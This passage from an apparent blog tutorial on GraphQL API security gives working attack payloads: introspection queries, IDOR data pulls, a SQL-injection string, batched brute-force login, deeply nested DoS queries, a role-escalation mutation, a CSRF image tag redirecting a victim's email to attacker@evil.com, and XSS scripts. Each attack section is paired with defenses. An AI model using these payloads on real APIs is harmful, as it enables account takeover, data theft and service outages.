query:</p><pre>{<br>  __schema {<br>    types {<br>      name<br>      fields {<br>        name<br>        args {<br>          name<br>          description<br>          type {<br>            name<br>            kind<br>            ofType {<br>              name<br>              kind<br>            }<br>          }<br>        }<br>      }<br>    }<br>  }<br>}</pre><p>You can send this query using curl or a tool like <strong>Postman</strong> or <strong>GraphQL Playground</strong>:</p><pre>curl -X POST https://api.example.com/graphql -d &#39;query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name,kind}}}}}}}&#39;</pre><p>If introspection is enabled, you’ll get back a JSON response containing all the types and fields defined in the schema. This data is a goldmine for attackers.</p><h4>Step 7: Visualizing the Schema with GraphQL Voyager</h4><p>Looking at the schema in JSON format is helpful but can be overwhelming. To make life easier, you can paste the returned schema into <strong>GraphQL Voyager</strong>, a tool that will create a visual map of the entire schema, showing relationships between different objects and fields.</p><p><strong>Using GraphQL Voyager</strong>:</p><ul><li>Copy the introspection JSON response.</li><li>Go to <a href="https://graphql-kit.com/graphql-voyager/">GraphQL Voyager</a> and paste it in.</li><li><em>Voila!</em> You now have a visual graph of the API structure, making it much easier to see potential attack vectors.</li></ul><p>This visual approach helps identify interesting fields like password, api, token, or even hidden mutation endpoints.</p><h3>Conclusion</h3><p>By probing a GraphQL endpoint and testing for introspection, you can gain valuable insights into the structure of the API, discover hidden fields, and potentially expose sensitive data. Tools like Nuclei help in the initial detection phase, while tools like GraphQL Voyager make it easy to visualize the entire schema. From there, you can plan your next steps — whether it’s testing for SQL injection, broken authentication, or IDOR vulnerabilities.</p><p>Understanding how to enumerate a GraphQL API’s schema is critical for both defenders and attackers. Make sure your introspection is disabled in production, and always be mindful of what data your GraphQL API exposes.</p><h3>Introspection: The Gateway to Information Disclosure</h3><p>Imagine walking into a house party and someone hands you a list of every person there, what they do, and where they’re hiding. That’s <strong>introspection</strong> in GraphQL. You can query the API to get a complete schema of everything available, and it’s super helpful for developers. For attackers, though, it’s basically a VIP pass to explore everything.</p><p><strong>Introspection Query to List Types:</strong></p><pre>{<br>  __schema {<br>    types {<br>      name<br>    }<br>  }<br>}</pre><p>This will give you a list of all available types, possibly exposing sensitive info or hidden fields that shouldn’t be available to the public. Oops.</p><h3>Defense:</h3><ul><li><strong>Disable introspection in production</strong>: Sorry, the VIP list is closed. Keep introspection disabled once your API is live.</li><li><strong>Limit field exposure</strong>: Only expose what’s necessary. No need to give out more than what’s needed, right?</li></ul><h3>Exploiting IDOR in GraphQL</h3><p><strong>Insecure Direct Object References (IDOR)</strong> are like slipping into the wrong Zoom meeting and listening in because no one bothered to check if you had the right link. If the API doesn’t verify that you’re supposed to be there, you can access data you shouldn’t.</p><p>You’ve just found a GraphQL endpoint using a sneaky Shodan dork, and after some light introspection (pun intended), you find this tasty query:</p><pre>{<br>  users {<br>    id<br>    username<br>    role<br>  }<br>}</pre><p>It’s like finding the guest list to an exclusive party, but here’s where things get really interesting. After seeing usernames like admin, you wonder—what if I can pull some other user data, like sensitive admin details?</p><p>The query for a specific user looks like this:</p><pre>{<br>  user(username: &quot;admin&quot;) {<br>    id<br>    username<br>    role<br>    password<br>  }<br>}</pre><p><em>Boom</em>, you’ve just pulled down the password of the admin user (if access controls aren’t in place). This is a classic <strong>IDOR</strong> scenario, where there’s no authorization check to see if you should even be able to look at the admin’s info.</p><h4>Accessing Private User Information (Even When You Shouldn’t)</h4><p>Imagine a social media API where users have public and private profiles. Let’s say the API has a query like this to fetch public data:</p><pre>{<br>  user(username: &quot;john_doe&quot;) {<br>    id<br>    username<br>    bio<br>  }<br>}</pre><p>This looks harmless enough, right? You’re just pulling public profile information. But what if there’s more data hidden behind the scenes — maybe the API allows fetching private information too, like email addresses or even credit card info? And what if there are <strong>no access controls</strong> preventing you from seeing that?</p><p>Here’s how you might exploit this:</p><pre>{<br>  user(username: &quot;john_doe&quot;) {<br>    id<br>    username<br>    bio<br>    email<br>    creditCardInfo<br>  }<br>}</pre><p>If the API doesn’t have proper checks in place, you might pull sensitive information that should never have been exposed.</p><p>If there’s no proper access control, congrats! You’re now snooping on other users like it’s 1999. 🕵️‍♂️</p><h3>Defense:</h3><ul><li><strong>Enforce object-level access control</strong>: Check IDs! Make sure every query verifies that the user has permission to access the data they’re asking for.</li><li><strong>Authentication and RBAC</strong>: A good door policy is key. Only let authorized people into the right parts of the API.</li></ul><h3>SQL Injection in GraphQL Queries</h3><p>Ah yes, the classic <strong>SQL Injection</strong> — like trying to sneak a little extra into your order when you know you shouldn’t. GraphQL, just like other APIs, can be vulnerable to SQL injection if user input isn’t handled properly.</p><p>Here’s where things get a little James Bond. Imagine a GraphQL query that looks harmless, but you, fellow hacker, know better. Let’s say the API lets you search for users like this:</p><pre>{<br>  user(username: &quot;hacker&quot;) {<br>    id<br>    username<br>    password<br>  }<br>}</pre><p>Naturally, you wonder: <em>what if</em> the back-end isn’t sanitizing inputs? So you give it a little nudge with this:</p><pre>{<br>  user(username: &quot;hacker&#39; OR &#39;1&#39;=&#39;1&quot;) {<br>    id<br>    username<br>    password<br>  }<br>}</pre><p>Congratulations, you just pulled the data for every user in the system! This little SQL injection exploit happens because the input isn’t properly sanitized, allowing the query to break out of its expected context.</p><p>If the API doesn’t sanitize inputs, you could be getting more than you bargained for.</p><p>However, most mature GraphQL implementations use parameterized queries or ORMs that mitigate this risk. The attack vector might work on legacy or poorly coded systems but is uncommon in well-secured environments.</p><h3>Defense:</h3><ul><li><strong>Sanitize inputs</strong>: Clean up after yourself! Ensure that any user inputs are properly validated.</li><li><strong>Input validation</strong>: Make sure users only submit the data you expect. No extra toppings allowed unless they’re on the menu.</li></ul><h3>Batching Exploits: Bypassing Rate Limits</h3><p><strong>Batching</strong> in GraphQL is the equivalent of throwing all your tasks at someone at once. “Do all this, please.” Sure, it’s efficient, but also prone to abuse. Attackers can send a huge batch of queries in one request and bypass rate limits (because, why not?).</p><h4>Brute-Force Login via Batching</h4><p>Let’s say you’re testing a GraphQL API for login functionality. The API restricts login attempts to five per second to prevent brute-force attacks. Normally, this is a good defense. But what if you could batch your login attempts?</p><p>Here’s an example of a batched request to bypass that rate limit:</p><pre>[<br>  {<br>    &quot;query&quot;: &quot;mutation { login(username: \&quot;admin\&quot;, password: \&quot;password1\&quot;) { token } }&quot;<br>  },<br>  {<br>    &quot;query&quot;: &quot;mutation { login(username: \&quot;admin\&quot;, password: \&quot;password2\&quot;) { token } }&quot;<br>  },<br>  {<br>    &quot;query&quot;: &quot;mutation { login(username: \&quot;admin\&quot;, password: \&quot;password3\&quot;) { token } }&quot;<br>  },<br>  {<br>    &quot;query&quot;: &quot;mutation { login(username: \&quot;admin\&quot;, password: \&quot;password4\&quot;) { token } }&quot;<br>  }<br>]</pre><p>This single batched request submits four login attempts in one shot. With this method, an attacker can bypass rate limits designed to protect against brute-forcing by cramming multiple queries into a single HTTP request. Imagine scaling this up with hundreds or thousands of passwords in one go — yikes!</p><h4><strong>Data Harvesting Through Batching</strong></h4><p>Imagine an API that restricts users to 10 requests per second, limiting how quickly you can pull data. If you’re up to no good and want to extract a <strong>lot</strong> of data quickly, you can batch those queries.</p><p>Here’s a batched request that grabs data for multiple users at once:</p><pre>[<br>  {<br>    &quot;query&quot;: &quot;{user(id: 1) {id, username, email}}&quot;<br>  },<br>  {<br>    &quot;query&quot;: &quot;{user(id: 2) {id, username, email}}&quot;<br>  },<br>  {<br>    &quot;query&quot;: &quot;{user(id: 3) {id, username, email}}&quot;<br>  },<br>  {<br>    &quot;query&quot;: &quot;{user(id: 4) {id, username, email}}&quot;<br>  },<br>  {<br>    &quot;query&quot;: &quot;{user(id: 5) {id, username, email}}&quot;<br>  }<br>]</pre><p>In a single request, the attacker retrieves data for five users. If this API doesn’t have <strong>query-level rate limiting</strong>, attackers can quickly harvest a large dataset without triggering any alarms. It’s like ordering 50 coffees at once and getting them before anyone else even places their order.</p><h4><strong>Denial of Service (DoS) with Large Batched Queries</strong></h4><p>Sometimes, attackers aren’t just after data — they’re after taking your API down. Using batching, attackers can craft resource-heavy queries that put a strain on your API. Imagine if every query in a batch required extensive processing:</p><pre>[<br>  {<br>    &quot;query&quot;: &quot;{user(id: 1) {friends {friends {friends {friends {name}}}}}}&quot;<br>  },<br>  {<br>    &quot;query&quot;: &quot;{post(id: 123) {comments {author {posts {comments {author {posts {comments}}}}}}}}&quot;<br>  }<br>]</pre><p>Each query asks for deeply nested data, which forces the server to process large, recursive requests. By batching these complex queries, the attacker can quickly overwhelm the API, leading to <strong>Denial of Service (DoS)</strong>, where the server is too bogged down to respond to legitimate users.</p><p>It’s essential to note that DoS attacks through batching are much harder to execute on well-protected systems.</p><h3>Defense:</h3><ul><li><strong>Limit Batch Sizes</strong>: Ensure there’s a cap on how many queries can be sent in a single batch. It’s like saying, “You can only order up to five coffees at once” — you can still batch requests, but you won’t be overwhelmed.</li><li><strong>Rate Limiting per Query</strong>: Even within a batched request, apply rate limiting to each individual query. This ensures that if someone tries to cram 50 queries into one request, they’ll still be throttled. Think of it like charging for each coffee in the order instead of the whole order at once.</li><li><strong>Timeouts on Complex Queries</strong>: Don’t let deeply nested or complex queries hang around forever. Implement timeouts so resource-intensive queries can’t bring the whole API down.</li></ul><h3>Denial of Service (DoS) with Deep Queries</h3><p>Ever heard of a <strong>recursive loop of doom</strong>? That’s what happens when an attacker abuses deeply nested queries in GraphQL. By crafting complex, resource-intensive queries, they can make your server work so hard it just wants to lie down for a nap.</p><p>Let’s say you’ve got a well-behaved API, but you know it’s possible to overload even the friendliest systems. Enter the <strong>Denial of Service (DoS)</strong> attack using deeply nested queries. Here’s the setup: you know there’s a <strong>friends</strong> field on the user object, and you can request it recursively:</p><p><strong>For example:</strong></p><pre>{<br>  user(id: 1) {<br>    friends {<br>      friends {<br>        friends {<br>          friends {<br>            name<br>          }<br>        }<br>      }<br>    }<br>  }<br>}</pre><p>This seems innocent, right? Wrong. Each level of nesting can exponentially increase the load on the server. Before long, your one innocent query is making the server crawl. Do it a few more times, and the whole system could crash under the weight of all those friendly friends of friends. 🥲</p><p>This little monster can loop forever if your API allows it. Before you know it, your API is stuck in the <em>forever loop</em> of sadness.</p><h3>Defense:</h3><ul><li><strong>Limit query depth</strong>: Set a hard limit on how deep queries can go. No one needs 50 levels of friends’ friends’ friends.</li><li><strong>Timeouts and throttling</strong>: Timeouts and rate limits are your API’s best friend when dealing with resource-heavy queries.</li></ul><h3>Mutation Attacks: Escalating Privileges</h3><p>Mutations are how you change stuff in GraphQL. But with great power comes great responsibility. If you don’t lock them down, attackers can use mutations to escalate privileges. Imagine someone sneaking in an “admin” role while creating a user.</p><p>Let’s say you find a mutation to register users, and it looks like this:</p><pre>» echo -n password | md5sum<br>5f4dcc3b5aa765d61d8327deb882cf99</pre><pre>mutation {<br>  registerUser(input: {<br>    username: &quot;attacker&quot;,<br>    password: &quot;5f4dcc3b5aa765d61d8327deb882cf99&quot;,<br>    role: &quot;user&quot;<br>  }) {<br>    user {<br>      username<br>      role<br>    }<br>  }<br>}</pre><p>But then you <em>think</em>: “Why settle for user-level access when I can be admin?” You modify the role:</p><pre>mutation {<br>  registerUser(input: {<br>    username: &quot;attackerAdmin&quot;,<br>    password: &quot;5f4dcc3b5aa765d61d8327deb882cf99&quot;,<br>    role: &quot;admin&quot;<br>  }) {<br>    user {<br>      username<br>      role<br>    }<br>  }<br>}</pre><p><em>Poof!</em> You’re now an admin. If the API doesn’t enforce who can assign roles, attackers can elevate their privileges in just a few keystrokes.</p><p>Now they’re not just in the building — they’re running the show.</p><h3>Defense:</h3><ul><li><strong>Restrict mutation access</strong>: Only the right people should be allowed to modify sensitive data.</li><li><strong>Validate inputs</strong>: Make sure the “role” field isn’t being tampered with. It’s not “admin” unless you say so!</li></ul><h3>Cross-Site Request Forgery (CSRF) Attack</h3><p>Imagine being able to trick someone into unknowingly executing a query on your GraphQL API. That’s the essence of a <strong>CSRF attack</strong>. Here’s how it plays out:</p><p>You send a link or email to an unsuspecting user with an embedded request, such as:</p><pre>&lt;img src=&quot;https://example.tld/graphql?query=mutation{updateUser(input:{username:%22victim%22,email:%22attacker%40evil.com%22}){user{username,email}}}&quot; /&gt;</pre><p>When the user loads the image (or in this case, the malicious link), their browser sends the request with their cookies — giving you access to sensitive data they can access.</p><h3>Defense:</h3><ul><li><strong>Implement CSRF tokens</strong>: Protect your mutations and queries by ensuring each request includes a CSRF token that verifies the request is genuine.</li><li><strong>SameSite cookies</strong>: Make sure your cookies are flagged with SameSite=strict to prevent them from being sent with cross-origin requests.</li></ul><h3>Cross-Site Scripting (XSS) in GraphQL</h3><p><strong>Cross-Site Scripting (XSS)</strong> vulnerabilities occur when an attacker can inject malicious scripts into a website, and the site unwittingly executes these scripts in a user’s browser. In GraphQL, this can happen if responses from queries or error messages are inserted into a web page without proper sanitization. Think of it like sneaking a script into a party — no one notices until it’s too late, and then everyone gets hacked.</p><h4>XSS via Unsanitized GraphQL Responses</h4><p>Imagine a scenario where a web application displays data from a GraphQL query directly on a page. If the query response includes user-generated content, such as a profile bio or comment, and the application fails to properly sanitize this content, an attacker can inject a malicious payload.</p><p>Here’s an example of a GraphQL query that pulls user bios, which are then displayed on the webpage:</p><pre>{<br>  user(username: &quot;attacker&quot;) {<br>    id<br>    username<br>    bio<br>  }<br>}</pre><p>If the attacker sets their bio to a malicious XSS payload, like this:</p><pre>{<br>  user(username: &quot;attacker&quot;) {<br>    bio: &quot;&lt;script&gt;prompt(&#39;XSS&#39;)&lt;/script&gt;&quot;<br>  }<br>}</pre><p>The web application renders the bio directly into the page without sanitization, and boom — the script gets executed in the browser of anyone visiting the attacker’s profile. This could lead to <strong>cookie theft</strong>, session hijacking, or worse.</p><h4>Scenario 2: XSS via Error Messages</h4><p>Another potential attack vector is <strong>error messages</strong>. If invalid GraphQL arguments are reflected in the response without proper encoding, attackers can inject XSS payloads through error handling mechanisms. For example, take a query like this:</p><pre>{<br>  post(id: &quot;abc&quot;) {<br>    title<br>  }<br>}</pre><p>In this case, the id field is supposed to be an integer, but you’ve sent a string. If the GraphQL server generates an error message reflecting the invalid id back to you without proper encoding, an attacker can inject XSS like so:</p><pre>{<br>  post(id: &quot;&lt;script&gt;prompt(1337)&lt;/script&gt;&quot;) {<br>    title<br>  }<br>}</pre><p>If this invalid argument is reflected in the error message, it may trigger an alert or execute any arbitrary JavaScript code, depending on how the error is handled.</p><h4>XSS via Query Parameters in URLs</h4><p>XSS can also occur if GraphQL query parameters are included in the URL and the web application does not sanitize them before rendering. For instance, if a URL like this is used:</p><pre>/post?id=&#39;&quot;&gt;&lt;script&gt;confirm(1337)&lt;/script&gt;</pre><p>And the page renders the id parameter in its HTML without encoding, it could result in an XSS vulnerability. However, if the page &quot;breaks&quot; or simply doesn&#39;t execute the script, this is a sign that the payload was not properly reflected or sanitized, but the vulnerability may still be present under different conditions or in other parts of the application.</p><h4>Defense Against XSS in GraphQL</h4><ul><li><strong>Sanitize Output</strong>: Ensure that any data returned from a GraphQL query that will be displayed in a web page is sanitized and properly encoded to prevent the execution of malicious code.</li><li><strong>Escape Error Messages</strong>: If your GraphQL API returns error messages containing user input, make sure that all error messages are properly escaped and encoded before being displayed in the frontend.</li><li><strong>Strict Content Security Policy (CSP)</strong>: Implement a robust <strong>Content Security Policy</strong> that restricts which sources can execute JavaScript on your website.</li><li><strong>Input Validation</strong>: Ensure that GraphQL inputs are strictly validated based on type, format, and length. For example, ensure that the id parameter is always an integer and reject invalid data types outright.</li><li><strong>Sanitize Query Parameters</strong>: If your application takes query parameters directly from URLs or elsewhere and passes them into a GraphQL query, ensure those parameters are sanitized and encoded before being passed into the GraphQL resolver.</li><li><strong>Use Security Libraries</strong>: Utilize security-focused libraries such as <a href="https://github.com/cure53/DOMPurify"><strong><em>DOMPurify</em></strong></a> to sanitize and clean any HTML or script content from user inputs.</li></ul><h3>GraphQL Queries Cheatsheet</h3><p>When testing or developing GraphQL APIs, having a set of ready-to-go queries in your toolkit can save a lot of time. Below is a curated list of useful GraphQL queries with example payloads for common pentesting tasks.</p><h4>Querying User Data</h4><p>This query fetches basic user details such as id, username, and role:</p><pre>{<br>  users {<br>    id<br>    username<br>    role<br>  }<br>}</pre><p><strong>Example Response</strong>:</p><pre>{<br>  &quot;data&quot;: {<br>    &quot;users&quot;: [<br>      {<br>        &quot;id&quot;: 1,<br>        &quot;username&quot;: &quot;elite&quot;,<br>        &quot;role&quot;: &quot;user&quot;<br>      },<br>      {<br>        &quot;id&quot;: 2,<br>        &quot;username&quot;: &quot;admin&quot;,<br>        &quot;role&quot;: &quot;admin&quot;<br>      }<br>    ]<br>  }<br>}</pre><h4>Introspection Query to Explore API Schema</h4><p>Introspection queries are your best friend when testing for schema disclosure. This query will list all types in the schema:</p><pre>{<br>  __schema {<br>    types {<br>      name<br>    }<br>  }<br>}</pre><p><strong>Example Response</strong>:</p><pre>{<br>  &quot;data&quot;: {<br>    &quot;__schema&quot;: {<br>      &quot;types&quot;: [<br>        {&quot;name&quot;: &quot;User&quot;},<br>        {&quot;name&quot;: &quot;Query&quot;},<br>        {&quot;name&quot;: &quot;Mutation&quot;}<br>      ]<br>    }<br>  }<br>}</pre><h4>General Introspection Query</h4><p>This more detailed query provides a comprehensive view of all the queries, mutations, and types defined in the schema:</p><pre>query IntrospectionQuery {<br>  __schema {<br>    queryType { name }<br>    mutationType { name }<br>    types {<br>      ...FullType<br>    }<br>  }<br>}<br><br>fragment FullType on __Type {<br>  kind<br>  name<br>  fields {<br>    name<br>    type {<br>      name<br>    }<br>  }<br>}</pre><p><strong>Example Response</strong>:</p><pre>{<br>  &quot;data&quot;: {<br>    &quot;__schema&quot;: {<br>      &quot;queryType&quot;: {&quot;name&quot;: &quot;Query&quot;},<br>      &quot;mutationType&quot;: {&quot;name&quot;: &quot;Mutation&quot;},<br>      &quot;types&quot;: [<br>        {<br>          &quot;name&quot;: &quot;User&quot;,<br>          &quot;fields&quot;: [<br>            {&quot;name&quot;: &quot;id&quot;, &quot;type&quot;: {&quot;name&quot;: &quot;ID&quot;}},<br>            {&quot;name&quot;: &quot;username&quot;, &quot;type&quot;: {&quot;name&quot;: &quot;String&quot;}},<br>            {&quot;name&quot;: &quot;role&quot;, &quot;type&quot;: {&quot;name&quot;: &quot;String&quot;}}<br>          ]<br>        }<br>      ]<br>    }<br>  }<br>}</pre><h4>Batching Example</h4><p>Batching allows you to send multiple queries in a single request, which could be useful for efficiency or, in some cases, for exploiting APIs that lack rate-limiting:</p><pre>[<br>  {<br>    &quot;query&quot;: &quot;{user(username: \&quot;admin\&quot;) {uuid}}&quot;<br>  },<br>  {<br>    &quot;query&quot;: &quot;{post(id: 1) {title}}&quot;<br>  }<br>]</pre><p><strong>Example Response</strong>:</p><pre>[<br>  {<br>    &quot;data&quot;: {<br>      &quot;user&quot;: {<br>        &quot;uuid&quot;: &quot;1234-1337&quot;<br>      }<br>    }<br>  },<br>  {<br>    &quot;data&quot;: {<br>      &quot;post&quot;: {<br>        &quot;title&quot;: &quot;How to Secure GraphQL&quot;<br>      }<br>    }<br>  }<br>]</pre><h4>Mutation Example</h4><p>Mutations are used to modify data. This mutation creates a new user:</p><pre>» echo -n exploit | md5sum<br>708697c63f7eb369319c6523380bdf7a</pre><pre>mutation {<br>  registerUser(input: {<br>    username: &quot;newuser&quot;,<br>    password: &quot;708697c63f7eb369319c6523380bdf7a&quot;,<br>    role: &quot;user&quot;<br>  }) {<br>    user {<br>      username<br>      role<br>    }<br>  }<br>}</pre><p><strong>Example Response</strong>:</p><pre>{<br>  &quot;data&quot;: {<br>    &quot;registerUser&quot;: {<br>      &quot;user&quot;: {<br>        &quot;username&quot;: &quot;newuser&quot;,<br>        &quot;role&quot;: &quot;user&quot;<br>      }<br>    }<br>  }<br>}</pre><h4>Payload Example: Fetching Sensitive Data</h4><p>You can customize queries to extract sensitive information if you spot weak access controls:</p><pre>{<br>  users {<br>    id<br>    username<br>    password<br>  }<br>}</pre><p><strong>Example Response</strong>:</p><pre>{<br>  &quot;data&quot;: {<br>    &quot;users&quot;: [<br>      {<br>        &quot;id&quot;: 1,<br>        &quot;username&quot;: &quot;hacker&quot;,<br>        &quot;password&quot;: &quot;hashedpassword123&quot;<br>      },<br>      {<br>        &quot;id&quot;: 2,<br>        &quot;username&quot;: &quot;admin&quot;,<br>        &quot;password&quot;: &quot;adminpass456&quot;<br>      }<br>    ]<br>  }<br>}</pre><h4>Query for Available Mutations</h4><p>To see all mutations supported by the API, use this query:</p><pre>{<br>  __schema {<br>    mutationType {<br>      fields {<br>        name<br>        args {<br>          name<br>          type {<br>            name<br>          }<br>        }<br>      }<br>    }<br>  }<br>}</pre><p>This will return all available mutations and the arguments they accept. This is a great way to identify potential attack vectors, especially if there are mutations like deleteUser, updatePassword, etc.</p><h3>Conclusion</h3><p>GraphQL is the superpower you didn’t know your API needed, but with that power comes potential for misuse. Whether it’s introspection spilling secrets, SQL injections sneaking in, or DoS attacks through deep queries, there are plenty of ways things can go wrong if you’re not careful.</p><p>But with a bit of know-how, some defense strategies, and a sense of humor, you can keep your GraphQL API safe from the dark side. Now go forth, secure your endpoints, and remember: always disable introspection in production. Or, you know, hand out free VIP passes to anyone with a browser. Your call. 😉</p><p>For more tips on securing your API, check out the</p><ul><li><a href="https://github.com/dolevf/graphw00f">graphw00f</a> — is a tool that fingerprints GraphQL endpoints and identifies the GraphQL engine behind them.</li><li><a href="https://github.com/graphql-kit/graphql-voyager">graphql-voyager</a> — is an interactive visualization tool that helps you explore and understand your GraphQL API’s schema.</li><li><a href="https://github.com/dolevf/graphql-cop">GraphQL-Cop</a> — is a security auditing tool for GraphQL endpoints.</li><li><a href="https://github.com/doyensec/inql">InQL</a> — is a powerful security tool that helps with GraphQL API enumeration and security testing. It’s available as a standalone command-line tool or as a Burp Suite extension.</li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html">GraphQL Security Cheat Sheet</a> — is a comprehensive guide to securing GraphQL APIs.</li><li><a href="https://portswigger.net/web-security/all-labs#graphql-api-vulnerabilities">Web Security Academy</a> — by PortSwigger (the creators of Burp Suite) offers free, interactive labs to practice and learn about various web security vulnerabilities, including GraphQL-specific scenarios.</li><li><a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql">Hacktricks</a> — is a comprehensive knowledge base for penetration testers and security professionals.</li><li><a href="https://github.com/nicholasaleks/graphql-threat-matrix">GraphQL Threat Matrix</a> — is a community-maintained project that categorizes security risks and attack vectors across various GraphQL engines.</li><li><a href="https://www.apollographql.com/docs/graphos/platform/security/overview">Apollo GraphQL Security Best Practices</a> — provides a list of best practices specifically tailored to its implementation.</li></ul><p>Happy hacking! 😎</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af34b5ea15f3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>